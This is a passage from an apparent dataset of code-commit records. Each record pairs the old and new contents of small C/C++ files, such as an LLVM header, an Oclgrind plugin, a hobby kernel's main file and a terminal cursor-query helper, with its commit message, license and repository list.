ermain\/numpy,bmorris3\/numpy,githubmlai\/numpy,sigma-random\/numpy,bmorris3\/numpy,pyparallel\/numpy,seberg\/numpy,endolith\/numpy,mwiebe\/numpy,ViralLeadership\/numpy,mindw\/numpy,GaZ3ll3\/numpy,chatcannon\/numpy,ssanderson\/numpy,rudimeier\/numpy,charris\/numpy,naritta\/numpy,NextThought\/pypy-numpy,njase\/numpy,stefanv\/numpy,CMartelLML\/numpy,felipebetancur\/numpy,mortada\/numpy,ddasilva\/numpy,charris\/numpy,utke1\/numpy,shoyer\/numpy,tacaswell\/numpy,rgommers\/numpy,pelson\/numpy,hainm\/numpy,utke1\/numpy,musically-ut\/numpy,mathdd\/numpy,pbrod\/numpy,KaelChen\/numpy,mattip\/numpy,felipebetancur\/numpy,ESSS\/numpy,ajdawson\/numpy,sonnyhu\/numpy,matthew-brett\/numpy,mathdd\/numpy,b-carter\/numpy,trankmichael\/numpy,Eric89GXL\/numpy,rudimeier\/numpy,grlee77\/numpy,dwf\/numpy,ChristopherHogan\/numpy,immerrr\/numpy,Linkid\/numpy,rhythmsosad\/numpy,hainm\/numpy,b-carter\/numpy,tynn\/numpy,ogrisel\/numpy,mhvk\/numpy,pbrod\/numpy,joferkington\/numpy,naritta\/numpy,matthew-brett\/numpy,MichaelAquilina\/numpy,GaZ3ll3\/numpy,pyparallel\/numpy,nguyentu1602\/numpy,MichaelAquilina\/numpy,tacaswell\/numpy,madphysicist\/numpy,tdsmith\/numpy,nbeaver\/numpy,skwbc\/numpy,GrimDerp\/numpy,GrimDerp\/numpy,yiakwy\/numpy,Dapid\/numpy,cowlicks\/numpy,empeeu\/numpy,charris\/numpy,dch312\/numpy,joferkington\/numpy,tynn\/numpy,groutr\/numpy,andsor\/numpy,BabeNovelty\/numpy,hainm\/numpy,larsmans\/numpy,ewmoore\/numpy,SunghanKim\/numpy,tdsmith\/numpy,numpy\/numpy,rmcgibbo\/numpy,musically-ut\/numpy,sonnyhu\/numpy,felipebetancur\/numpy,jschueller\/numpy,pizzathief\/numpy,matthew-brett\/numpy,grlee77\/numpy,jakirkham\/numpy,chatcannon\/numpy,astrofrog\/numpy,ewmoore\/numpy,pelson\/numpy,bmorris3\/numpy,SiccarPoint\/numpy,MichaelAquilina\/numpy,b-carter\/numpy,WarrenWeckesser\/numpy,WarrenWeckesser\/numpy,rmcgibbo\/numpy,maniteja123\/numpy,dato-code\/numpy,rgommers\/numpy,rherault-insa\/numpy,behzadnouri\/numpy,rudimeier\/numpy,tynn\/numpy,behzadnouri\/numpy,andsor\/numpy,jakirkham\/numpy,AustereCuriosity\/numpy,pelson\/numpy,mindw\/numpy,MSeifert04\/numpy,dato-code\/numpy,shoyer\/numpy,Yusa95\/numpy,GaZ3ll3\/numpy,MSeifert04\/numpy,musically-ut\/numpy,rajathkumarmp\/numpy,gfyoung\/numpy,jorisvandenbossche\/numpy,jakirkham\/numpy,pizzathief\/numpy,Srisai85\/numpy,cjermain\/numpy,mindw\/numpy,Anwesh43\/numpy,kiwifb\/numpy,anntzer\/numpy,matthew-brett\/numpy,gmcastil\/numpy,SunghanKim\/numpy,dato-code\/numpy,cjermain\/numpy,Srisai85\/numpy,dimasad\/numpy,pdebuyl\/numpy,sonnyhu\/numpy,sinhrks\/numpy,ESSS\/numpy,CMartelLML\/numpy,BMJHayward\/numpy,joferkington\/numpy,ContinuumIO\/numpy,jorisvandenbossche\/numpy,sinhrks\/numpy,BMJHayward\/numpy,Anwesh43\/numpy,Yusa95\/numpy,gfyoung\/numpy,trankmichael\/numpy,numpy\/numpy,AustereCuriosity\/numpy,pelson\/numpy,embray\/numpy,maniteja123\/numpy,ewmoore\/numpy,stefanv\/numpy,dch312\/numpy,trankmichael\/numpy,ajdawson\/numpy,leifdenby\/numpy,ChristopherHogan\/numpy,tdsmith\/numpy,SiccarPoint\/numpy,Srisai85\/numpy,has2k1\/numpy,cowlicks\/numpy,simongibbons\/numpy,rgommers\/numpy,mhvk\/numpy,moreati\/numpy,Yusa95\/numpy,bringingheavendown\/numpy,WarrenWeckesser\/numpy,mindw\/numpy,njase\/numpy,rajathkumarmp\/numpy,dwillmer\/numpy,Linkid\/numpy,larsmans\/numpy,gmcastil\/numpy,pyparallel\/numpy,ssanderson\/numpy,ContinuumIO\/numpy,leifdenby\/numpy,embray\/numpy,chiffa\/numpy,Srisai85\/numpy,pbrod\/numpy,GrimDerp\/numpy,githubmlai\/numpy,githubmlai\/numpy,musically-ut\/numpy,empeeu\/numpy,mingwpy\/numpy,jschueller\/numpy,simongibbons\/numpy,rhythmsosad\/numpy,immerrr\/numpy,stuarteberg\/numpy,dimasad\/numpy,Dapid\/numpy,mhvk\/numpy,yiakwy\/numpy,ESSS\/numpy,skwbc\/numpy,stefanv\/numpy,astrofrog\/numpy,argriffing\/numpy,MSeifert04\/numpy,Dapid\/numpy,WillieMaddox\/numpy,has2k1\/numpy,embray\/numpy,abalkin\/numpy,dwf\/numpy,embray\/numpy,nguyentu1602\/numpy,stefanv\/numpy,WillieMaddox\/numpy,seberg\/numpy"}
{"commit":"9fd15678a5f149c5ddc5793541c4f3262802e2dd","old_file":"chapter3\/Player.h","new_file":"chapter3\/Player.h","old_contents":"#ifndef __PLAYER_H__\n#define __PLAYER_H__\n\n#include<iostream>\n#include\"GameObject.h\"\n\nclass PLayer: public GameObject\n{\n    public:\n        void update();\n        void clean()\n        {\n            GameObject::clean();\n            std::cout << \"clean PLayer\";\n        }\n};\n\n#endif\n","new_contents":"#ifndef __PLAYER_H__\n#define __PLAYER_H__\n\n#include<iostream>\n#include\"GameObject.h\"\n\nclass Player: public GameObject\n{\n    public:\n        void update();\n        void clean()\n        {\n            std::cout << \"clean PLayer\";\n        }\n};\n\n#endif\n","subject":"Fix class name and remove GameObject::clean call.","message":"Fix class name and remove GameObject::clean call.\n","lang":"C","license":"bsd-2-clause","repos":"caiotava\/SDLBook"}
{"commit":"edca044ab872ca71085167b0e82ac29a4f335b6f","old_file":"include\/llvm\/DebugInfo\/DIContext.h","new_file":"include\/llvm\/DebugInfo\/DIContext.h","old_contents":"\/\/===-- DIContext.h ---------------------------------------------*- C++ -*-===\/\/\n\/\/\n\/\/                     The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file is distributed under the University of Illinois Open Source\n\/\/ License. See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\/\/\n\/\/ This file defines DIContext, and abstract data structure that holds\n\/\/ debug information data.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#ifndef LLVM_DEBUGINFO_DICONTEXT_H\n#define LLVM_DEBUGINFO_DICONTEXT_H\n\n#include \"llvm\/ADT\/StringRef.h\"\n#include \"llvm\/DebugInfo\/DILineInfo.h\"\n\nnamespace llvm {\n\nclass raw_ostream;\n\nclass DIContext {\npublic:\n  virtual ~DIContext();\n\n  \/\/\/ getDWARFContext - get a context for binary DWARF data.\n  static DIContext *getDWARFContext(bool isLittleEndian,\n                                    StringRef infoSection,\n                                    StringRef abbrevSection,\n                                    StringRef aRangeSection = StringRef(),\n                                    StringRef lineSection = StringRef(),\n                                    StringRef stringSection = StringRef());\n\n  virtual void dump(raw_ostream &OS) = 0;\n};\n\n}\n\n#endif\n","new_contents":"\/\/===-- DIContext.h ---------------------------------------------*- C++ -*-===\/\/\n\/\/\n\/\/                     The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file is distributed under the University of Illinois Open Source\n\/\/ License. See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\/\/\n\/\/ This file defines DIContext, and abstract data structure that holds\n\/\/ debug information data.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#ifndef LLVM_DEBUGINFO_DICONTEXT_H\n#define LLVM_DEBUGINFO_DICONTEXT_H\n\n#include \"llvm\/ADT\/StringRef.h\"\n\nnamespace llvm {\n\nclass raw_ostream;\n\nclass DIContext {\npublic:\n  virtual ~DIContext();\n\n  \/\/\/ getDWARFContext - get a context for binary DWARF data.\n  static DIContext *getDWARFContext(bool isLittleEndian,\n                                    StringRef infoSection,\n                                    StringRef abbrevSection,\n                                    StringRef aRangeSection = StringRef(),\n                                    StringRef lineSection = StringRef(),\n                                    StringRef stringSection = StringRef());\n\n  virtual void dump(raw_ostream &OS) = 0;\n};\n\n}\n\n#endif\n","subject":"Remove include of header that doesn't exist (yet).","message":"Remove include of header that doesn't exist (yet).\n\ngit-svn-id: 0ff597fd157e6f4fc38580e8d64ab130330d2411@139629 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"bsd-2-clause","repos":"dslab-epfl\/asap,chubbymaggie\/asap,llvm-mirror\/llvm,chubbymaggie\/asap,GPUOpen-Drivers\/llvm,chubbymaggie\/asap,dslab-epfl\/asap,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,dslab-epfl\/asap,llvm-mirror\/llvm,dslab-epfl\/asap,GPUOpen-Drivers\/llvm,apple\/swift-llvm,apple\/swift-llvm,GPUOpen-Drivers\/llvm,GPUOpen-Drivers\/llvm,chubbymaggie\/asap,apple\/swift-llvm,apple\/swift-llvm,dslab-epfl\/asap,apple\/swift-llvm,llvm-mirror\/llvm,apple\/swift-llvm,llvm-mirror\/llvm,llvm-mirror\/llvm,apple\/swift-llvm,chubbymaggie\/asap,llvm-mirror\/llvm,dslab-epfl\/asap,chubbymaggie\/asap,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,apple\/swift-llvm,GPUOpen-Drivers\/llvm,dslab-epfl\/asap"}
{"commit":"25211cc6081e2075ecaf0565733075285a135411","old_file":"h\/mhcachesbr.h","new_file":"h\/mhcachesbr.h","old_contents":"\n\/*\n * mhcachesbr.h -- definitions for manipulating MIME content cache\n *\/\n\n\/*\n * various cache policies\n *\/\nstatic struct swit caches[] = {\n#define CACHE_NEVER    0\n    { \"never\", 0, 0 },\n#define CACHE_PRIVATE  1\n    { \"private\", 0, 0 },\n#define CACHE_PUBLIC   2\n    { \"public\", 0, 0 },\n#define CACHE_ASK      3\n    { \"ask\", 0, 0 },\n    { NULL, 0, 0 }\n};\n","new_contents":"\n\/*\n * mhcachesbr.h -- definitions for manipulating MIME content cache\n *\/\n\n\/*\n * various cache policies\n *\/\n\n#define CACHE_SWITCHES \\\n    X(\"never\", 0, CACHE_NEVER) \\\n    X(\"private\", 0, CACHE_PRIVATE) \\\n    X(\"public\", 0, CACHE_PUBLIC) \\\n    X(\"ask\", 0, CACHE_ASK) \\\n\n#define X(sw, minchars, id) id,\nDEFINE_SWITCH_ENUM(CACHE);\n#undef X\n\n#define X(sw, minchars, id) { sw, minchars, id },\nDEFINE_SWITCH_ARRAY(CACHE, caches);\n#undef X\n","subject":"Convert the MIME content cache switches over to the smatch() New World Order.","message":"Convert the MIME content cache switches over to the smatch() New World Order.\n","lang":"C","license":"bsd-3-clause","repos":"dscho\/nmh,dscho\/nmh,mcr\/nmh,dscho\/nmh,dscho\/nmh,mcr\/nmh"}
{"commit":"4823e866835c3e9cf8aadbc1d1621554fcbfffde","old_file":"src\/plugins\/InstructionCounter.h","new_file":"src\/plugins\/InstructionCounter.h","old_contents":"\/\/ InstructionCounter.h (Oclgrind)\n\/\/ Copyright (c) 2013-2016, James Price and Simon McIntosh-Smith,\n\/\/ University of Bristol. All rights reserved.\n\/\/\n\/\/ This program is provided under a three-clause BSD license. For full\n\/\/ license terms please see the LICENSE file distributed with this\n\/\/ source code.\n\n#include \"core\/Plugin.h\"\n\nnamespace llvm\n{\n  class Function;\n}\n\nnamespace oclgrind\n{\n  class InstructionCounter : public Plugin\n  {\n  public:\n    InstructionCounter(const Context *context) : Plugin(context){};\n\n    virtual void instructionExecuted(const WorkItem *workItem,\n                                     const llvm::Instruction *instruction,\n                                     const TypedValue& result) override;\n    virtual void kernelBegin(const KernelInvocation *kernelInvocation) override;\n    virtual void kernelEnd(const KernelInvocation *kernelInvocation) override;\n    virtual void workGroupBegin(const WorkGroup *workGroup) override;\n    virtual void workGroupComplete(const WorkGroup *workGroup) override;\n\n  private:\n    std::vector<size_t> m_instructionCounts;\n    std::vector<size_t> m_memopBytes;\n    std::vector<const llvm::Function*> m_functions;\n\n    struct WorkerState\n    {\n      std::vector<size_t> *instCounts;\n      std::vector<size_t> *memopBytes;\n      std::vector<const llvm::Function*> *functions;\n    };\n    static THREAD_LOCAL WorkerState m_state;\n\n    std::mutex m_mtx;\n\n    std::string getOpcodeName(unsigned opcode) const;\n  };\n}\n","new_contents":"\/\/ InstructionCounter.h (Oclgrind)\n\/\/ Copyright (c) 2013-2016, James Price and Simon McIntosh-Smith,\n\/\/ University of Bristol. All rights reserved.\n\/\/\n\/\/ This program is provided under a three-clause BSD license. For full\n\/\/ license terms please see the LICENSE file distributed with this\n\/\/ source code.\n\n#include \"core\/Plugin.h\"\n\n#include <mutex>\n\nnamespace llvm\n{\n  class Function;\n}\n\nnamespace oclgrind\n{\n  class InstructionCounter : public Plugin\n  {\n  public:\n    InstructionCounter(const Context *context) : Plugin(context){};\n\n    virtual void instructionExecuted(const WorkItem *workItem,\n                                     const llvm::Instruction *instruction,\n                                     const TypedValue& result) override;\n    virtual void kernelBegin(const KernelInvocation *kernelInvocation) override;\n    virtual void kernelEnd(const KernelInvocation *kernelInvocation) override;\n    virtual void workGroupBegin(const WorkGroup *workGroup) override;\n    virtual void workGroupComplete(const WorkGroup *workGroup) override;\n\n  private:\n    std::vector<size_t> m_instructionCounts;\n    std::vector<size_t> m_memopBytes;\n    std::vector<const llvm::Function*> m_functions;\n\n    struct WorkerState\n    {\n      std::vector<size_t> *instCounts;\n      std::vector<size_t> *memopBytes;\n      std::vector<const llvm::Function*> *functions;\n    };\n    static THREAD_LOCAL WorkerState m_state;\n\n    std::mutex m_mtx;\n\n    std::string getOpcodeName(unsigned opcode) const;\n  };\n}\n","subject":"Add missing mutex header include","message":"Add missing mutex header include\n","lang":"C","license":"bsd-3-clause","repos":"mpflanzer\/Oclgrind,mpflanzer\/Oclgrind,mpflanzer\/Oclgrind,mpflanzer\/Oclgrind"}
{"commit":"8f26097bd78e456b9cb090803263f3f50b513076","old_file":"data-structures\/trees\/binary\/node.h","new_file":"data-structures\/trees\/binary\/node.h","old_contents":"#ifndef _NODE_H_\n#define _NODE_H_\n\ntemplate <class T>\nstruct Node\n{\n\tT data;\n\tNode<T> *left;\n\tNode<T> *right;\n\n\tNode(const T& data, Node<T> *left = nullptr, Node<T> *right = nullptr)\n\t\t: data(data), left(left), right(right) {}\n};\n\n#endif \/\/ _NODE_H_\n","new_contents":"#ifndef _NODE_H_\n#define _NODE_H_\n\ntemplate <class T>\nstruct Node\n{\n\tT data;\n\tNode<T> *left;\n\tNode<T> *right;\n\tNode<T> *parent;\n\n\tNode(const T& data, Node<T> *left = nullptr, Node<T> *right = nullptr, Node<T> *parent = nullptr)\n\t\t: data(data), left(left), right(right), parent(parent) {}\n};\n\n#endif \/\/ _NODE_H_\n","subject":"Update Trees\/Node structure to have parent","message":"Update Trees\/Node structure to have parent\n","lang":"C","license":"mit","repos":"stoimenoff\/uni-cpp-samples,stoimenoff\/uni-cpp-samples"}
{"commit":"fe7a5706e33207876ccd8cb9c7b365362f55c3ba","old_file":"common\/MCP23008.h","new_file":"common\/MCP23008.h","old_contents":"\/\/ Derived from blog post at http:\/\/www.ermicro.com\/blog\/?p=1239\n\n#ifndef __MCP23008_H__\n#define __MCP23008_H__\n\n#include <compat\/twi.h>\n#include \"i2c_utils.h\"\n\n#define MCP23008_ID    0x40  \/\/ MCP23008 I2C Device Identifier (0100, fixed)\n#define MCP23008_ADDR  0x00  \/\/ MCP23008 I2C Address (000-111 in bits 3..1)\n#define MCP23008_IODIR 0x00  \/\/ MCP23008 I\/O Direction Register\n#define MCP23008_GPIO  0x09  \/\/ MCP23008 General Purpose I\/O Register\n#define MCP23008_OLAT  0x0A  \/\/ MCP23008 Output Latch Register\n\nvoid write_mcp23008(unsigned char reg_addr,unsigned char data);\nunsigned char read_mcp23008(unsigned char reg_addr);\n\n#endif \/*__MCP23008_H__*\/\n","new_contents":"\/\/ I\/O functions for MCP23008 port expander using I2C\/TWI protocol\n\/\/ Derived from blog post at http:\/\/www.ermicro.com\/blog\/?p=1239\n\n#ifndef __MCP23008_H__\n#define __MCP23008_H__\n\n#include <compat\/twi.h>\n#include \"i2c_utils.h\"\n\n\/\/ About the 7-bit I2C slave address MCP23008:\n\/\/  - The high bits 7..4 are fixed at 0100.\n\/\/  - Bits 3..1 are for further addressing (e.g. eeprom page, jumpered pads)\n\/\/  - Bit 0 is disregarded (the R\/W direction is handled separately).\n\/\/ See http:\/\/www.avrbeginners.net\/architecture\/twi\/twi.html#addressing\n\n#define MCP23008       0x40  \/\/ MCP23008 I2C device address\n#define MCP23008_IODIR 0x00  \/\/ MCP23008 I\/O Direction Register\n#define MCP23008_GPIO  0x09  \/\/ MCP23008 General Purpose I\/O Register\n#define MCP23008_OLAT  0x0A  \/\/ MCP23008 Output Latch Register\n\nvoid write_mcp23008(uint8_t reg_addr, uint8_t data);\nuint8_t read_mcp23008(uint8_t reg_addr);\n\n#endif \/*__MCP23008_H__*\/\n","subject":"Add info on I2C address","message":"Add info on I2C address\n","lang":"C","license":"mit","repos":"andrewadare\/avr-breadboarding,andrewadare\/avr-breadboarding"}
{"commit":"a2e999b2cae9f2ff7dab4362c052a88b3d7440d3","old_file":"src\/hex_helper.h","new_file":"src\/hex_helper.h","old_contents":"\n#pragma once\n\n#include <string>\n#include <ostream>\n#include <iomanip>\n#include <iostream>\n\nstruct Hex\n{\n    Hex(char *buffer, size_t size)\n        : m_buffer(buffer)\n        , m_size(size)\n    {\n    }\n\n    friend std::ostream& operator <<(std::ostream &os, const Hex &obj)\n    {\n        unsigned char* aschar = (unsigned char*)obj.m_buffer;\n        for (size_t i = 0; i < obj.m_size; ++i) {\n            if (isprint(aschar[i]))  {\n                os << aschar[i];\n            } else {\n                os << std::hex << std::setw(2) << std::setfill('0') << static_cast<unsigned int> (aschar[i]);\n            }\n        }\n        return os;\n    }\n\nprivate:\n    char *m_buffer;\n    size_t m_size;\n};\n","new_contents":"\n#pragma once\n\n#include <string>\n#include <ostream>\n#include <iomanip>\n#include <iostream>\n\nstruct Hex\n{\n    Hex(char *buffer, size_t size)\n        : m_buffer(buffer)\n        , m_size(size)\n    {\n    }\n\n    friend std::ostream& operator <<(std::ostream &os, const Hex &obj)\n    {\n        unsigned char* aschar = (unsigned char*)obj.m_buffer;\n        for (size_t i = 0; i < obj.m_size; ++i) {\n            if (isprint(aschar[i]))  {\n                os << aschar[i];\n            } else {\n                os << \"\\\\x\" << std::hex << std::setw(2) << std::setfill('0') << static_cast<unsigned int> (aschar[i]);\n            }\n        }\n        return os;\n    }\n\nprivate:\n    char *m_buffer;\n    size_t m_size;\n};\n","subject":"Add \"\\x\" for hex part.","message":"Add \"\\x\" for hex part.\n","lang":"C","license":"mit","repos":"azat\/hadoop-io-sequence-reader"}
{"commit":"e769a3bc613c7c9d7fd650de18a45a65ad8c53c0","old_file":"src\/kmain.c","new_file":"src\/kmain.c","old_contents":"#include \"gdt.h\"\n#include \"idt.h\"\n#include \"vga.h\"\n#include \"term_printf.h\"\n\nvoid kernel_main()\n{\n\tinit_term();\n\tterm_puts(NAME \" booting...\");\n\n\tterm_puts(\"Initializing GDT...\");\n\tinit_gdt();\n\tterm_puts(\"Initializing IDT...\");\n\tinit_idt();\n\n\tterm_printf(\"term_printf is %d%% p%cre %s\\n\", 100, 'u', \"awesome\");\n\n\t__asm__ volatile (\"int $2\");\n}\n","new_contents":"#include \"gdt.h\"\n#include \"idt.h\"\n#include \"vga.h\"\n#include \"term_printf.h\"\n\nvoid notify(void (*func)(), char *str)\n{\n\tterm_putsn(str);\n\tfunc();\n\tterm_puts(\" done\");\n}\n\nvoid kernel_main()\n{\n\tinit_term();\n\tterm_puts(NAME \" booting...\");\n\n\tnotify(init_gdt, \"Initializing GDT...\");\n\tnotify(init_idt, \"Initializing IDT...\");\n\n\tterm_printf(\"term_printf is %d%% p%cre %s\\n\", 100, 'u', \"awesome\");\n\n\t__asm__ volatile (\"int $2\");\n}\n","subject":"Add notify() function to print message around function call","message":"Add notify() function to print message around function call\n","lang":"C","license":"mit","repos":"orodley\/studix,orodley\/studix"}
{"commit":"e7b995835e1b852b8046c9b1dcd25e9dbee99b05","old_file":"test\/Misc\/pr32207.c","new_file":"test\/Misc\/pr32207.c","old_contents":"\/\/ test for r305179\n\/\/ RUN: %clang_cc1 -emit-llvm -O -mllvm -print-after-all %s -o %t 2>&1 | grep '*** IR Dump After Function Integration\/Inlining ***'\nvoid foo() {}\n","new_contents":"\/\/ test for r305179\n\/\/ RUN: %clang_cc1 -emit-llvm -O -mllvm -print-after-all %s -o %t 2>&1 | FileCheck %s\n\/\/ CHECK: *** IR Dump After Function Integration\/Inlining ***\nvoid foo() {}\n","subject":"Address David Blaikie comment by replacing grep with FileCheck.","message":"Address David Blaikie comment by replacing grep with FileCheck.\n\n\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@305215 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang"}
{"commit":"f6025874064eec95deb06a7b0d3c76ec03568d12","old_file":"cpp\/module_impl.h","new_file":"cpp\/module_impl.h","old_contents":"\/\/ Copyright (c) 2010 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef PPAPI_CPP_MODULE_IMPL_H_\n#define PPAPI_CPP_MODULE_IMPL_H_\n\n#include \"ppapi\/cpp\/module.h\"\n\nnamespace {\n\ntemplate <typename T> class DeviceFuncs {\n public:\n  explicit DeviceFuncs(const char* ifname) : ifname_(ifname) {}\n\n  operator T const*() {\n    if (!funcs_) {\n      funcs_ = reinterpret_cast<T const*>(\n          pp::Module::Get()->GetBrowserInterface(ifname_));\n    }\n    return funcs_;\n  }\n\n  \/\/ This version doesn't check for existence of the function object. It is\n  \/\/ used so that, for DeviceFuncs f, the expression:\n  \/\/ if (f) f->doSomething();\n  \/\/ checks the existence only once.\n  T const* operator->() const { return funcs_; }\n\n private:\n  DeviceFuncs(const DeviceFuncs&other);\n  DeviceFuncs &operator=(const DeviceFuncs &other);\n\n  const char* ifname_;\n  T const* funcs_;\n};\n\n}  \/\/ namespace\n\n#endif  \/\/ PPAPI_CPP_MODULE_IMPL_H_\n\n","new_contents":"\/\/ Copyright (c) 2010 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef PPAPI_CPP_MODULE_IMPL_H_\n#define PPAPI_CPP_MODULE_IMPL_H_\n\n#include \"ppapi\/cpp\/module.h\"\n\nnamespace {\n\ntemplate <typename T> class DeviceFuncs {\n public:\n  explicit DeviceFuncs(const char* ifname) : ifname_(ifname), funcs_(NULL) {}\n\n  operator T const*() {\n    if (!funcs_) {\n      funcs_ = reinterpret_cast<T const*>(\n          pp::Module::Get()->GetBrowserInterface(ifname_));\n    }\n    return funcs_;\n  }\n\n  \/\/ This version doesn't check for existence of the function object. It is\n  \/\/ used so that, for DeviceFuncs f, the expression:\n  \/\/ if (f) f->doSomething();\n  \/\/ checks the existence only once.\n  T const* operator->() const { return funcs_; }\n\n private:\n  DeviceFuncs(const DeviceFuncs&other);\n  DeviceFuncs &operator=(const DeviceFuncs &other);\n\n  const char* ifname_;\n  T const* funcs_;\n};\n\n}  \/\/ namespace\n\n#endif  \/\/ PPAPI_CPP_MODULE_IMPL_H_\n\n","subject":"Initialize DeviceFuncs::ifuncs_ to zero in constructor","message":"Initialize DeviceFuncs::ifuncs_ to zero in constructor\n","lang":"C","license":"bsd-3-clause","repos":"huqingyu\/ppapi,whitewolfm\/ppapi,c1soju96\/ppapi,dralves\/ppapi,huochetou999\/ppapi,lag945\/ppapi,lag945\/ppapi,Xelemsta\/ppapi,c1soju96\/ppapi,tonyjoule\/ppapi,HAfsari\/ppapi,xinghaizhou\/ppapi,xuesongzhu\/ppapi,JustRight\/ppapi,fubaydullaev\/ppapi,CharlesHuimin\/ppapi,huqingyu\/ppapi,phisixersai\/ppapi,stefanie924\/ppapi,lag945\/ppapi,dingdayong\/ppapi,dingdayong\/ppapi,xiaozihui\/ppapi,chenfeng8742\/ppapi,tonyjoule\/ppapi,tiaolong\/ppapi,nanox\/ppapi,xuesongzhu\/ppapi,whitewolfm\/ppapi,chenfeng8742\/ppapi,cacpssl\/ppapi,siweilvxing\/ppapi,YachaoLiu\/ppapi,dingdayong\/ppapi,cacpssl\/ppapi,JustRight\/ppapi,nanox\/ppapi,gwobay\/ppapi,rise-worlds\/ppapi,dralves\/ppapi,c1soju96\/ppapi,thdtjsdn\/ppapi,whitewolfm\/ppapi,qwop\/ppapi,xuesongzhu\/ppapi,Xelemsta\/ppapi,ruder\/ppapi,CharlesHuimin\/ppapi,whitewolfm\/ppapi,dralves\/ppapi,YachaoLiu\/ppapi,YachaoLiu\/ppapi,qwop\/ppapi,ruder\/ppapi,fubaydullaev\/ppapi,huqingyu\/ppapi,Xelemsta\/ppapi,dralves\/ppapi,HAfsari\/ppapi,CharlesHuimin\/ppapi,xinghaizhou\/ppapi,xuesongzhu\/ppapi,fubaydullaev\/ppapi,lag945\/ppapi,tonyjoule\/ppapi,phisixersai\/ppapi,cacpssl\/ppapi,HAfsari\/ppapi,phisixersai\/ppapi,chenfeng8742\/ppapi,xiaozihui\/ppapi,gwobay\/ppapi,thdtjsdn\/ppapi,stefanie924\/ppapi,dingdayong\/ppapi,qwop\/ppapi,huochetou999\/ppapi,dralves\/ppapi,siweilvxing\/ppapi,HAfsari\/ppapi,xuesongzhu\/ppapi,thdtjsdn\/ppapi,xinghaizhou\/ppapi,tonyjoule\/ppapi,fubaydullaev\/ppapi,stefanie924\/ppapi,CharlesHuimin\/ppapi,rise-worlds\/ppapi,CharlesHuimin\/ppapi,fubaydullaev\/ppapi,nanox\/ppapi,gwobay\/ppapi,tonyjoule\/ppapi,YachaoLiu\/ppapi,stefanie924\/ppapi,chenfeng8742\/ppapi,ruder\/ppapi,xiaozihui\/ppapi,huqingyu\/ppapi,stefanie924\/ppapi,gwobay\/ppapi,thdtjsdn\/ppapi,dingdayong\/ppapi,ruder\/ppapi,siweilvxing\/ppapi,JustRight\/ppapi,qwop\/ppapi,ruder\/ppapi,rise-worlds\/ppapi,siweilvxing\/ppapi,c1soju96\/ppapi,qwop\/ppapi,nanox\/ppapi,tiaolong\/ppapi,JustRight\/ppapi,phisixersai\/ppapi,tiaolong\/ppapi,YachaoLiu\/ppapi,huqingyu\/ppapi,huochetou999\/ppapi,xinghaizhou\/ppapi,rise-worlds\/ppapi,xinghaizhou\/ppapi,huochetou999\/ppapi,chenfeng8742\/ppapi,thdtjsdn\/ppapi,siweilvxing\/ppapi,nanox\/ppapi,cacpssl\/ppapi,rise-worlds\/ppapi,tiaolong\/ppapi,Xelemsta\/ppapi,HAfsari\/ppapi,huochetou999\/ppapi,xiaozihui\/ppapi,gwobay\/ppapi,c1soju96\/ppapi,xiaozihui\/ppapi,lag945\/ppapi,tiaolong\/ppapi,whitewolfm\/ppapi,cacpssl\/ppapi,phisixersai\/ppapi,JustRight\/ppapi,Xelemsta\/ppapi"}
{"commit":"d8c827d14f834891b674054bc2bae8c8fa91d86c","old_file":"base\/418\/getCursorPosition.c","new_file":"base\/418\/getCursorPosition.c","old_contents":"int getCursorPosition(int *rows, int *cols) \n{\n}\n\n","new_contents":"\n\/\/\n\/\/ Use the ESC [6n escape sequence to query the horizontal cursor position\n\/\/ and return it. On error -1 is returned, on success the position of the\n\/\/ cursor is stored at *rows and *cols and 0 is returned. \n\/\/\n\nint getCursorPosition(int ifd, int ofd, int *rows, int *cols) {\n    char buf[32];\n    unsigned int i = 0;\n\n    \/* Report cursor location *\/\n    if (write(ofd, \"\\x1b[6n\", 4) != 4) return -1;\n\n    \/* Read the response: ESC [ rows ; cols R *\/\n    while (i < sizeof(buf)-1) {\n        if (read(ifd,buf+i,1) != 1) break;\n        if (buf[i] == 'R') break;\n        i++;\n    }\n    buf[i] = '\\0';\n\n    \/* Parse it. *\/\n    if (buf[0] != ESC || buf[1] != '[') return -1;\n    if (sscanf(buf+2,\"%d;%d\",rows,cols) != 2) return -1;\n    return 0;\n}\n\n","subject":"Add changes to correct changes","message":"Add changes to correct changes\n","lang":"C","license":"bsd-2-clause","repos":"eingaeph\/pip.imbue.hood,eingaeph\/pip.imbue.hood"}
